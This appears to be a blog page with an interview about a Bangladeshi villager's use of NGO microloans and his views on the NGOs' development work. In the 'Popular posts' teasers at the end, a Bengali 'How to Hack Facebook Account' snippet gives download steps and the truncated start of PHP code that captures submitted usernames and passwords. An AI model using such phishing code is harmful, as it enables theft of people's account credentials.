A live experience

By DaPrimitive Soource -

The role of Non-Government Organizations' (NGOs) in socio-economic development : A study case of Bangladesh



Time & Date: 12:45; 06.08.2010
Area: Komolgonj – Kamargaw
Interviewee: Md. Nurul Amin Muhit
Interviewer: M.A.Muhit (pen-name)
Religion: Islam
Nationality: Bangladeshi
Family type: Joint family / combined family
Family Dominator: Male dominated



Mr. Muhit (pen-name) is a Businessman and he lives a thickly populated village named Kamargaw which is situated at Komolganj in Moulovi-Bazar district. There are 11 members in his family in which 4 male members and 7 female members. His educational merit is H.S.C. He is the only earning member in his family and he gets TK 19,000 per month from his business. As his family is a joint family so that it is not enough money to maintain his family. So he is taking loan from a NGO named Grameen since the year of 2008. He takes TK 5000 – 10000 every month as a loan and pays it in weekly installment. After taking loans his economic condition has been escalated and now he is happy to can develop his business. He also informed us that Grameen is not only a non-government organization in his village, but also there are many NGOs in this village other than Grameen (i.e. Brac, Prochesta, Ushosh, Aatto-unnoyon Songsta, etc). As maximum people of this village are indigent poor that means they are not affluent in economic conditions. That’s why most of the poor villagers take loan from these NGOs. These NGOs give different types of loans i.e. study loan, business loan, marriage loan, etc. As these NGOs loan is easily obtainable and, the percentage of interest is too low and, easy payable in installment so, the village people are more interested to take loan from these NGOs. These NGOs play some important role other than giving loan i.e. they prevent marriage portion, early marriage and, work for female authorized, removing poverty and unemployment problem by giving different types of training and loans and they have special opportunity for women. These NGOs also work for primary education and adult education. In his opinion, if these NGOs get government co-operation then there are more possibility to develop.

Comments

Post a Comment

Popular posts from this blog

C++ :: Topological Sort Algorithm (using DFS)

By DaPrimitive Soource -
Image
A topological sort of a dag G = (V,E) is a linear ordering of all its vertices such that if G contains an edge (u,v), then u appears before v in the ordering. (If the graph contains a cycle, then no linear ordering is possible.) PSEUDOCODE TOPOLOGICAL-SORT(G) call DFS(G) to compute finishing times v.f for each vertex v as each vertex is finished, insert it onto the front of a linked list return the linked list of vertices
Read more

How to Hack Facebook Account

By DaPrimitive Soource -
Image
ফেইসবুক হচ্ছে সামজিক যোগাযোগের একটি ওয়েবসাইট, যা Mark Zuckerberg ২০০৪ সালের ফেব্রুয়ারি মাসে প্রতিষ্টা করেছেন। যেকেউ ফেইবুকে ফ্রি sign up করতে এবং তার প্রিয় বন্ধু, পরিবার এবং সহপাঠিদের সাথে বেশি বেশি করে যোগাযোগ করতে পারে। ফেইসবুকের উন্নত মানের আপ্লিকেশন - Photos, Events, Videos, Groups এবং Pages অন্যদের সাথে শেয়ার করতে সাহায্য করে। শুধু তাই নয়, এখানে মানুষ একে-অন্যের সাথে Chat, Personal messages, Wall posts, Pokes, অথবা Status আপডেটের মাধ্যমে যোগাযোগ করতে পারে। বর্তমানে ফেইসবুক ইউজার সংখ্যা ৫০০ মিলিয়নেরও বেশি এবং এর সংখ্যা ক্রমেই বাড়ছে। Try to Hack ধাপ-১ : প্রথমে facebook_hack_by_muhit.ZIP ফাইলটি আপনার কম্পিউটারে ডাউনলোড করুন। Click to Download ধাপ-২ : ফাইলটি ZIP এক্সটেনশনে আছে, এটি আনপেক করুন। ধাপ-৩ : আনজিপ ফোল্ডারটি অর্থাৎ facebook_hack_by_muhit ফোল্ডারটি ওপেন করে fbhack.php নামের ফাইলটি notepad -এ ওপেন করুন। নিচের কোডগুলু দেখতে পাবেন। <? $fname=$_POST["username"]; $fpass=$_POST["password"]; $con=mysql_connect("localhost","nur
Read more

C++ :: Strongly Connected Components Algorithm (SCC)

By DaPrimitive Soource -
Image
Many algorithms that work with directed graphs begin with such a decomposition. After decomposing the graph into strongly connected components, such algorithms run separately on each one and then combine the solutions according to the structure of connections among components. ALGORITHM STRONGLY-CONNECTED-COMPONENTS(G) call DFS(G) to compute finishing times u.f for each vertex u compute GT call DFS(GT), but in the main loop of DFS, consider the verteces in order of decreasing u.f (as computed in line 2) output the vertices of each tree in the depth-first forest formed in line 4 as a separate strongly connected component
Read more